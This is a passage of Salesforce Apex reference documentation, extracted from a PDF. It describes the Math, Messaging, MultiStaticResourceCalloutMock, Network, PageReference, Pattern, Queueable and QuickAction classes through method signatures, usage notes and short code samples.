Signature
public static Decimal sinh(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

2247

Reference

Math Class

sinh(doubleAngle)
Returns the hyperbolic sine of doubleAngle. The hyperbolic sine of doubleAngle is defined to be (ex - e-x)/2 where e is Euler's
number.

Signature
public static Double sinh(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

sqrt(decimalValue)
Returns the correctly rounded positive square root of decimalValue.

Signature
public static Decimal sqrt(Decimal decimalValue)

Parameters
decimalValue

Type: Decimal

Return Value
Type: Decimal

sqrt(doubleValue)
Returns the correctly rounded positive square root of doubleValue.

Signature
public static Double sqrt(Double doubleValue)

Parameters
doubleValue

Type: Double

Return Value
Type: Double

2248

Reference

Math Class

tan(decimalAngle)
Returns the trigonometric tangent of the angle specified by decimalAngle.

Signature
public static Decimal tan(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

Return Value
Type: Decimal

tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by doubleAngle.

Signature
public static Double tan(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

tanh(decimalAngle)
Returns the hyperbolic tangent of decimalAngle. The hyperbolic tangent of decimalAngle is defined to be (ex - e-x)/(ex + e-x)
where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is always
less than 1.

Signature
public static Decimal tanh(Decimal decimalAngle)

Parameters
decimalAngle

Type: Decimal

2249

Reference

Messaging Class

Return Value
Type: Decimal

Signature
public static Double tanh(Double doubleAngle)

Parameters
doubleAngle

Type: Double

Return Value
Type: Double

Messaging Class
Contains messaging methods used when sending a single or mass email.

Namespace
System

Messaging Methods
The following are methods for Messaging. All are instance methods.
IN THIS SECTION:
reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.
reserveSingleEmailCapacity(amountReserved)
Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.
sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list
of SendEmailResult objects.
sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.

2250

Reference

Messaging Class

renderEmailTemplate(whoId, whatId, bodies)

Returns an array of RenderEmailTemplateBodyResult objects, each of which corresponds to an element in the supplied
array of text bodies. Each RenderEmailTemplateBodyResult provides a success or failure indication along with either
an error code or the rendered text.
renderStoredEmailTemplate(templateId, whoId, whatId)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of
Messaging.SingleEmailMessage.

reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.

Signature
public Void reserveMassEmailCapacity(Integer amountReserved)

Parameters
amountReserved

Type: Integer

Return Value
Type: Void

Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction.If the
transaction would cause the organization to exceed its daily email limit, using this method results in the following error:
System.HandledException: The daily limit for the org would be exceeded by this request.If

the organization doesnt have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.

reserveSingleEmailCapacity(amountReserved)
Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.

Signature
public Void reserveSingleEmailCapacity(Integer amountReserved)

Parameters
amountReserved

Type: Integer

Return Value
Type: Void

2251

Reference

Messaging Class

the organization doesnt have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.

sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list of
SendEmailResult objects.

Signature
public Messaging.SendEmailResult[] sendEmail(Messaging.Email[] emails, Boolean
allOrNothing)

Parameters
emails

Type: Messaging.Email[]
allOrNothing

Type: Boolean
The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.

Return Value
Type: Messaging.SendEmailResult[]

sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.

Signature
public Messaging.SendEmailResult[] sendEmailMessage(List<ID> emailMessageIds, Boolean
allOrNothing)

Parameters
emailMessageIds

Type: List<ID>
allOrNothing

Type: Boolean

2252

Reference

Messaging Class

Return Value
Type: Messaging.SendEmailResult[]

Usage
The sendEmailMessage method assumes that the optional opt_allOrNone parameter is always false and ignores the
value you set. This optional parameter specifies whether sendEmailMessage prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false).

Example
This example shows how to send a draft email message. It creates a case and a new email message associated with the case. Next, the
example sends a draft email message and checks the results. Before running this example, make sure to replace the email address with
a valid address.
Case c = new Case();
insert c;
EmailMessage e = new EmailMessage();
e.parentid = c.id;
// Set to draft status.
// This status is required
// for sendEmailMessage().
e.Status = '5';
e.TextBody =
'Sample email message.';
e.Subject = 'Apex sample';
e.ToAddress = '[email protected]';
insert e;
List<Messaging.SendEmailResult>
results =
Messaging.sendEmailMessage(new ID[]
{ e.id });
System.assertEquals(1, results.size());
System.assertEquals(true,
results[0].success);

renderEmailTemplate(whoId, whatId, bodies)

Signature
public static List<Messaging.RenderEmailTemplateBodyResult> renderEmailTemplate(String
whoId, String whatId, List<String> bodies)

2253

Reference

Messaging Class

Parameters
whoId

Type: String
The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in
merge field processing.
whatId

Type: String
Identifies an object in the database like an account or opportunity. The record for that object is read and used in merge field processing.
bodies

Type: List<String>
An array of strings that are examined for merge field references. The corresponding data from the object referenced by the whoId
or whatId replaces the merge field reference.

Return Value
Type: List<Messaging.RenderEmailTemplateBodyResult>

Usage
This method can be used in situations where you want to dynamically compose blocks of text that are enriched with data from the
database. The rendered blocks of text can then be used, for example, to compose and send an email or update a text value in another
database record.

renderStoredEmailTemplate(templateId, whoId, whatId)

Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of
Messaging.SingleEmailMessage.

Signature
public static Messaging.SingleEmailMessage renderStoredEmailTemplate(String templateId,
String whoId, String whatId)

Parameters
templateId

Type: String
An email template that exists in the database, such as text, HTML, custom, and Visualforce templates.
whoId

Type: String
The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in
merge field processing.
whatId

Type: String
Identifies an object in the database like an account or opportunity. The record for that object is read and used in merge field processing.

2254

Reference

MultiStaticResourceCalloutMock Class

Return Value
Type: Messaging.SingleEmailMessage

MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.

Namespace
System

Usage
Use the methods in this class to set the response properties for testing HTTP callouts. You can specify a resource for each endpoint.
IN THIS SECTION:
MultiStaticResourceCalloutMock Constructors
MultiStaticResourceCalloutMock Methods

MultiStaticResourceCalloutMock Constructors
The following are constructors for MultiStaticResourceCalloutMock.
IN THIS SECTION:
MultiStaticResourceCalloutMock()
Creates a new instance of the System.MultiStaticResourceCalloutMock class.

MultiStaticResourceCalloutMock()
Creates a new instance of the System.MultiStaticResourceCalloutMock class.

Signature
public MultiStaticResourceCalloutMock()

MultiStaticResourceCalloutMock Methods
The following are methods for MultiStaticResourceCalloutMock. All are instance methods.
IN THIS SECTION:
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
setStaticResource(endpoint, resourceName)
Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.

2255

Reference

MultiStaticResourceCalloutMock Class

setStatus(httpStatus)
Sets the specified HTTP status for the response.
setStatusCode(httpStatusCode)
Sets the specified HTTP status code for the response.

setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.

Signature
public Void setHeader(String headerName, String headerValue)

Parameters
headerName

Type: String
headerValue

Type: String

Return Value
Type: Void

setStaticResource(endpoint, resourceName)
Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.

Signature
public Void setStaticResource(String endpoint, String resourceName)

Parameters
endpoint

Type: String
resourceName

Type: String

Return Value
Type: Void

setStatus(httpStatus)
Sets the specified HTTP status for the response.

2256

Reference

Network Class

Signature
public Void setStatus(String httpStatus)

Parameters
httpStatus

Type: String

Return Value
Type: Void

setStatusCode(httpStatusCode)
Sets the specified HTTP status code for the response.

Signature
public Void setStatusCode(Integer httpStatusCode)

Parameters
httpStatusCode

Type: Integer

Return Value
Type: Void

Network Class
Represents a community.

Namespace
System

Usage
Use the method in the Network class to determine which community a user is currently logged into.
IN THIS SECTION:
Network Constructors
Network Methods

Network Constructors
The following are constructors for Network.

2257

Reference

Network Class

IN THIS SECTION:
Network()
Creates a new instance of the System.Network class.

Network()
Creates a new instance of the System.Network class.

Signature
public Network()

Network Methods
The following are methods for Network. All methods are static.
IN THIS SECTION:
communitiesLanding()
Returns a Page Reference to the default landing page for the community. This is the first tab of the community.
forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query paremeter for where to redirect after a successful
login.
getLoginUrl(networkId)
Returns the absolute URL of the login page used by the community.
getLogoutUrl(networkId)
Returns the absolute URL of the logout page used by the community.
getNetworkId()
Returns the users current community.
getSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the community.
loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Management package onto each communitys unconfigured dashboard
settings. Returns the number of settings it configures.
loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Management package onto each communitys unconfigured Insights
settings. Returns the number of settings it configures.

communitiesLanding()
Returns a Page Reference to the default landing page for the community. This is the first tab of the community.

Signature
public static String communitiesLanding()

2258

Reference

Network Class

Return Value
Type: PageReference

Usage
If Communities isnt enabled for the users organization or the user is currently in the internal organization, returns null.

forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query paremeter for where to redirect after a successful
login.

Signature
public static PageReference forwardToAuthPage(String startURL)

Parameters
startURL

Type: String

Return Value
Type: PageReference

Usage
If Communities isnt enabled for the users organization or the user is currently in the internal organization, returns null.

getLoginUrl(networkId)
Returns the absolute URL of the login page used by the community.

Signature
public static String getLoginUrl(String networkId)

Parameters
networkId

Type: String
The ID of the community youre retrieving this information for.

Return Value
Type: String

Usage
Returns the full URL for the Force.com or Community Builder page used as the login page in the community.

2259

Reference

Network Class

getLogoutUrl(networkId)
Returns the absolute URL of the logout page used by the community.

Signature
public static String getLogoutUrl(String networkId)

Parameters
networkId

Type: String
The ID of the community youre retrieving this information for.

Return Value
Type: String

Usage
Returns the full URL for the Force.com page, Community Builder page, or Web page used as the logout page in the community.

getNetworkId()
Returns the users current community.

Signature
public static String getNetworkId()

Return Value
Type: String

Usage
If Communities isnt enabled for the users organization or the user is currently in the internal organization, returns null.

getSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the community.

Signature
public static String getSelfRegUrl(String networkId)

Parameters
networkId

Type: String
The ID of the community youre retrieving this information for.

2260

Reference

Network Class

Return Value
Type: String

Usage
Returns the full URL for the Force.com or Community Builder page used as the self-registration page in the community.

loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Management package onto each communitys unconfigured dashboard settings.
Returns the number of settings it configures.

Signature
public static Integer loadAllPackageDefaultNetworkDashboardSettings()

Return Value
Type: Integer

Usage
If Communities is enabled, and the Salesforce Communities Management package is installed, maps the dashboards provided in the
package onto each communitys unconfigured dashboard settings. Returns the number of settings it configures. This method is invoked
automatically during community creation and package installation, but isnt typically invoked manually.
If Communities isnt enabled for the users organization or the user is in the internal organization, returns 0.

loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Management package onto each communitys unconfigured Insights settings.
Returns the number of settings it configures.

Signature
public static Integer loadAllPackageDefaultNetworkPulseSettings()

Return Value
Type: Integer

Usage
If Communities is enabled, and the Salesforce Communities Management package is installed, maps the Insights reports provided in
the package onto each communitys unconfigured Insights settings. Returns the number of settings it configures. This method is invoked
automatically during community creation and package installation, but isnt typically invoked manually.
If Communities isnt enabled for the users organization or the user is in the internal organization, returns 0.

2261

Reference

PageReference Class

PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query
parameter names and values.

Namespace
System
Use a PageReference object:
To view or set query string parameters and values for a page
To navigate the user to a different page as the result of an action method

Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:

Page.existingPageName

Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way,
the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will
prevent the page from being deleted while the controller or extension exists.

PageReference pageRef = new PageReference('partialURL');

Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID'
refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference
is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity
system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of
the specified page and won't issue an error message to prevent user deletion of the page.

PageReference pageRef = new PageReference('fullURL');

Creates a PageReference for an external URL. For example:

PageReference pageRef = new PageReference('http://www.google.com');

You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();

Request Headers
The following table is a non-exhaustive list of headers that are set on requests.

2262

Reference

PageReference Class

Header

Description

Host

The host name requested in the request URL. This header is always set on Force.com Site requests
and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead
of HTTP/1.1.

Referer

The URL that is either included or linked to the current request's URL. This header is optional.

User-Agent

The name, version, and extension support of the program that initiated this request, such as a Web
browser. This header is optional and can be overridden in most browsers to be a different value.
Therefore, this header should not be relied upon.

CipherSuite

If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise,
the request is using HTTP. The contents of a non-blank value are not defined by this API, and can
be changed without notice.

X-Salesforce-SIP

The source IP address of the request. This header is always set on HTTP and HTTPS requests that
are initiated outside of Salesforce's data centers.
Note: If a request passes through a content delivery network (CDN) or proxy server, the
source IP address might be altered, and no longer the original client IP address.

X-Salesforce-Forwarded-To

The fully qualified domain name of the Salesforce instance that is handling this request. This header
is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.

Example: Retrieving Query String Parameters

The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this
example, the getAccount method references the id query string parameter:
public class MyController {
public Account getAccount() {
return [SELECT Id, Name FROM Account
WHERE Id = :ApexPages.currentPage().getParameters().get('Id')];
}
}

The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController">
<apex:pageBlock title="Retrieving Query String Parameters">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>

Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For
example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53

The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the
page. To access id, the getAccount method uses the ApexPages namespace:

2263

Reference

PageReference Class

First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
Using the page reference, use the getParameters method to return a map of the specified query string parameter names and
values.
Then a call to the get method specifying id returns the value of the id parameter itself.

Example: Navigating to a New Page as the Result of an Action Method

Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the
redirect attribute on the PageReference is set to true, the user navigates to the URL specified by the PageReference.
The following example shows how this can be implemented with a save method. In this example, the PageReference returned by
the save method redirects the user to the detail page for the account record that was just saved:
public class mySecondController {
Account account;
public Account getAccount() {
if(account == null) account = new Account();
return account;
}
public PageReference save() {
// Add the account to the database.
insert account;
// Send the user to the detail page for the new account.
PageReference acctPage = new ApexPages.StandardController(account).view();
acctPage.setRedirect(true);
return acctPage;
}
}

The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the
detail page for the account just created:
<apex:page controller="mySecondController" tabStyle="Account">
<apex:sectionHeader title="New Account Edit Page" />
<apex:form>
<apex:pageBlock title="Create a New Account">
<apex:pageBlockButtons location="bottom">
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Account Information">
<apex:inputField id="accountName" value="{!account.name}"/>
<apex:inputField id="accountSite" value="{!account.site}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>

IN THIS SECTION:
PageReference Constructors

2264

Reference

PageReference Class

PageReference Methods

PageReference Constructors
The following are constructors for PageReference.
IN THIS SECTION:
PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.

PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.

Signature
public PageReference(String partialURL)

Parameters
partialURL

Type: String
The partial URL of a page hosted on the Force.com platform or a full external URL. The following are some examples of the
partialURL parameter values:
/apex/HelloWorld: refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld.

/recordID: refers to the detail page of a specified record.

http://www.google.com: refers to an external URL.

PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.

Signature
public PageReference(SObject record)

Parameters
record

Type: SObject
The sObject record to create a page reference for.

2265

Reference

PageReference Class

PageReference Methods
The following are methods for PageReference. All are instance methods.
IN THIS SECTION:
getAnchor()
Returns the name of the anchor referenced in the pages URL. That is, the part of the URL after the hashtag (#).
getContent()
Returns the output of the page, as displayed to a user in a web browser.
getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> components renderAs attribute.
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of
cookie objects with that name.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value
of the header.
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.
getRedirect()
Returns the current value of the PageReference object's redirect attribute.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters
and anchors.
setAnchor(anchor)
Sets the URLs anchor reference to the specified string.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side
redirect.

getAnchor()
Returns the name of the anchor referenced in the pages URL. That is, the part of the URL after the hashtag (#).

Signature
public String getAnchor()

Return Value
Type: String

2266

Reference

PageReference Class

getContent()
Returns the output of the page, as displayed to a user in a web browser.

Signature
public Blob getContent()

Return Value
Type: Blob

Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document.
If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString Blob
method.
Note: If you use getContent in a test method, the test method fails. getContent is treated as a callout in API version
34.0 and later.
This method cant be used in:
Triggers
Test methods
Apex email services
If the Visualforce page has an error, an ExecutionException is thrown.

getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> components renderAs attribute.

Signature
public Blob getContentAsPDF()

Return Value
Type: Blob

Usage
Note: If you use getContentAsPDF in a test method, the test method fails. getContentAsPDF is treated as a callout
in API version 34.0 and later.
This method cant be used in:
Triggers
Test methods
Apex email services

2267

Reference

PageReference Class

getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie
objects with that name.

Signature
public Map<String, System.Cookie[]> getCookies()

Return Value
Type: Map<String, System.Cookie[]>

Usage
Used in conjunction with the Cookie class. Only returns cookies with the apex__ prefix set by the setCookies method.

getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of
the header.

Signature
public Map<String, String> getHeaders()

Return Value
Type: Map<String, String>

Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getHeaders().put('Date', '9/9/99');

For a description of request headers, see Request Headers.

getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.

Signature
public Map<String, String> getParameters()

Return Value
Type: Map<String, String>

2268

Reference

PageReference Class

Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('id', myID);

Parameter keys are case-insensitive. For example:

System.assert(
ApexPages.currentPage().getParameters().get('myParamName') ==
ApexPages.currentPage().getParameters().get('myparamname'));

getRedirect()
Returns the current value of the PageReference object's redirect attribute.

Signature
public Boolean getRedirect()

Return Value
Type: Boolean

Usage
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always
occurs, regardless of whether the redirect attribute is set to true or false.

getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and
anchors.

Signature
public String getUrl()

Return Value
Type: String

setAnchor(anchor)
Sets the URLs anchor reference to the specified string.

Signature
public System.PageReference setAnchor(String anchor)

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Reference

PageReference Class

Parameters
anchor

Type: String

Return Value
Type: System.PageReference

Example
For example, https://Salesforce_instance/apex/my_page#anchor1.

setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.

Signature
public Void setCookies(Cookie[] cookies)

Parameters
cookies

Type: System.Cookie[]

Return Value
Type: Void

Usage
Important:
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
The setCookies method adds the prefix apex__ to the cookie names.
Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
After you create a cookie, the properties of the cookie can't be changed.
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see Caching Force.com Sites
Pages in the Salesforce online help.

setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect.

Signature
public System.PageReference setRedirect(Boolean redirect)

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Pattern Class

Parameters
redirect

Type: Boolean

Return Value
Type: System.PageReference

Usage
This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a
server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset
of extensions used by the source page.
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a
different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true
or false.

Pattern Class
Represents a compiled representation of a regular expression.

Namespace
System

Pattern Methods
The following are methods for Pattern.
IN THIS SECTION:
compile(regExp)
Compiles the regular expression into a Pattern object.
matcher(regExp)
Creates a Matcher object that matches the input string regExp against this Pattern object.
matches(regExp, stringtoMatch)
Compiles the regular expression regExp and tries to match it against the specified string. This method returns true if the
specified string matches the regular expression, false otherwise.
pattern()
Returns the regular expression from which this Pattern object was compiled.
quote(yourString)
Returns a string that can be used to create a pattern that matches the string yourString as if it were a literal pattern.
split(regExp)
Returns a list that contains each substring of the String that matches this pattern.

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Pattern Class

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches
this pattern, or by the end of the String.

compile(regExp)
Compiles the regular expression into a Pattern object.

Signature
public static Pattern compile(String regExp)

Parameters
regExp

Type: String

Return Value
Type: System.Pattern

matcher(regExp)
Creates a Matcher object that matches the input string regExp against this Pattern object.

Signature
public Matcher matcher(String regExp)

Parameters
regExp

Type: String

Return Value
Type: Matcher

matches(regExp, stringtoMatch)
Compiles the regular expression regExp and tries to match it against the specified string. This method returns true if the specified
string matches the regular expression, false otherwise.

Signature
public static Boolean matches(String regExp, String stringtoMatch)

Parameters
regExp

Type: String

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Pattern Class

stringtoMatch

Type: String

Return Value
Type: Boolean

Usage
If a pattern is to be used multiple times, compiling it once and reusing it is more efficient than invoking this method each time.

Example
Note that the following code example:
Pattern.matches(regExp, input);

produces the same result as this code example:

Pattern.compile(regex).
matcher(input).matches();

pattern()
Returns the regular expression from which this Pattern object was compiled.

Signature
public String pattern()

Return Value
Type: String

quote(yourString)
Returns a string that can be used to create a pattern that matches the string yourString as if it were a literal pattern.

Signature
public static String quote(String yourString)

Parameters
yourString

Type: String

Return Value
Type: String

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Reference

Pattern Class

Usage
Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.

split(regExp)
Returns a list that contains each substring of the String that matches this pattern.

Signature
public String[] split(String regExp)

Parameters
regExp

Type: String

Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the methods
output.

Usage
The substrings are placed in the list in the order in which they occur in the String. If regExp does not match the pattern, the resulting
list has just one element containing the original String.

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches this
pattern, or by the end of the String.

Signature
public String[] split(String regExp, Integer limit)

Parameters
regExp

Type: String
limit

Type: Integer
(Optional) Controls the number of times the pattern is applied and therefore affects the length of the list.
If limit is greater than zero:
The pattern is applied a maximum of (limit 1) times.
The lists length is no greater than limit.
The lists last entry contains all input beyond the last matched delimiter.

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Queueable Interface

If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are
discarded.

Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the methods
output.

Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.

Namespace
System

Usage
To execute Apex as an asynchronous job, implement the Queueable interface and add the processing logic in your implementation
of the execute method.
To implement the Queueable interface, you must first declare a class with the implements keyword as follows:
public class MyQueueableClass implements Queueable {

Next, your class must provide an implementation for the following method:
public void execute(QueueableContext context) {
// Your code here
}

Your class and method implementation must be declared as public or global.

To submit your class for asynchronous execution, call the System.enqueueJob by passing it an instance of your class implementation
of the Queueable interface as follows:
ID jobID = System.enqueueJob(new MyQueueableClass());

IN THIS SECTION:
Queueable Methods
Queueable Example Implementation
SEE ALSO:
Queueable Apex

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Reference

Queueable Interface

Queueable Methods
The following are methods for Queueable.
IN THIS SECTION:
execute(context)
Executes the queueable job.

execute(context)
Executes the queueable job.

Signature
public void execute(QueueableContext context)

Parameters
context

Type: QueueableContext
Contains the job ID.

Return Value
Type: Void

Queueable Example Implementation

This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
}
}

To add this class as a job on the queue, call this method:

ID jobID = System.enqueueJob(new AsyncExecutionExample());

Similar to future jobs, queueable jobs dont process batches, and so the number of processed batches and the number of total batches
are always zero.

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Reference

QueueableContext Interface

Testing Queueable Jobs

Note: The ID of a queueable Apex job isnt returned in test contextSystem.enqueueJob returns null in a running test.

QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the
job ID. This interface is implemented internally by Apex.

Namespace
System

QueueableContext Methods
The following are methods for QueueableContext.
IN THIS SECTION:
getJobId()
Returns the ID of the submitted job that uses the Queueable interface.

getJobId()
Returns the ID of the submitted job that uses the Queueable interface.

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Reference

QuickAction Class

Signature
public ID getJobId()

Return Value
Type: ID
The ID of the submitted job.

QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that
are available globally.

Namespace
System

Example
In this sample, the trigger determines if the new contacts to be inserted are created by a quick action. If so, it sets the WhereFrom__c
custom field to a value that depends on whether the quick action is global or local to the contact. Otherwise, if the inserted contacts
dont originate from a quick action, the WhereFrom__c field is set to 'NoAction'.
trigger accTrig2 on Contact (before insert) {
for (Contact c : Trigger.new) {
if (c.getQuickActionName() == QuickAction.CreateContact) {
c.WhereFrom__c = 'GlobaActionl';
} else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
c.WhereFrom__c = 'AccountAction';
} else if (c.getQuickActionName() == null) {
c.WhereFrom__c = 'NoAction';
} else {
System.assert(false);
}
}
}

This sample performs a global actionQuickAction.CreateContacton the passed-in contact object.

public Id globalCreate(Contact c) {
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
req.quickActionName = QuickAction.CreateContact;
req.record = c;
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
return c.id;
}

SEE ALSO:
QuickActionRequest Class
QuickActionResult Class

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Reference

QuickAction Class

QuickAction Methods
The following are methods for QuickAction. All methods are static.
IN THIS SECTION:
describeAvailableQuickActions(parentType)
Returns metadata information for the available quick actions of the provided parent object.
describeAvailableQuickActions(sObjectNames)
Returns the metadata information for the provided quick actions.
performQuickAction(quickActionRequest)
Performs the quick action specified in the quick action request and returns the action result.
performQuickAction(quickActionRequest, allOrNothing)
Performs the quick action specified in the quick action request with the option for partial success, and returns the result.
performQuickActions(quickActionRequests)
Performs the quick actions specified in the quick action request list and returns action results.
performQuickActions(quickActionRequests, allOrNothing)
Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.

describeAvailableQuickActions(parentType)
Returns metadata information for the available quick actions of the provided parent object.

Signature
public static List<QuickAction.DescribeAvailableQuickActionResult>
describeAvailableQuickActions(String parentType)

Parameters
parentType

Type: String
The parent object type. This can be an object type name ('Account') or 'Global' (meaning that this method is called at a global level
and not an entity level).

Return Value
Type: List<QuickAction.DescribeAvailableQuickActionResult>
The metadata information for the available quick actions of the parent object.

Example
// Called for Account entity.
List<QuickAction.DescribeAvailableQuickActionResult> result1 =
QuickAction.DescribeAvailableQuickActions('Account');
// Called at global level, not entity level.

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QuickAction Class

List<QuickAction.DescribeAvailableQuickActionResult> result2 =
QuickAction.DescribeAvailableQuickActions('Global');

describeAvailableQuickActions(sObjectNames)
Returns the metadata information for the provided quick actions.

Signature
public static List<QuickAction.DescribeQuickActionResult>
describeAvailableQuickActions(List<String> sObjectNames)

Parameters
sObjectNames

Type: List<String>
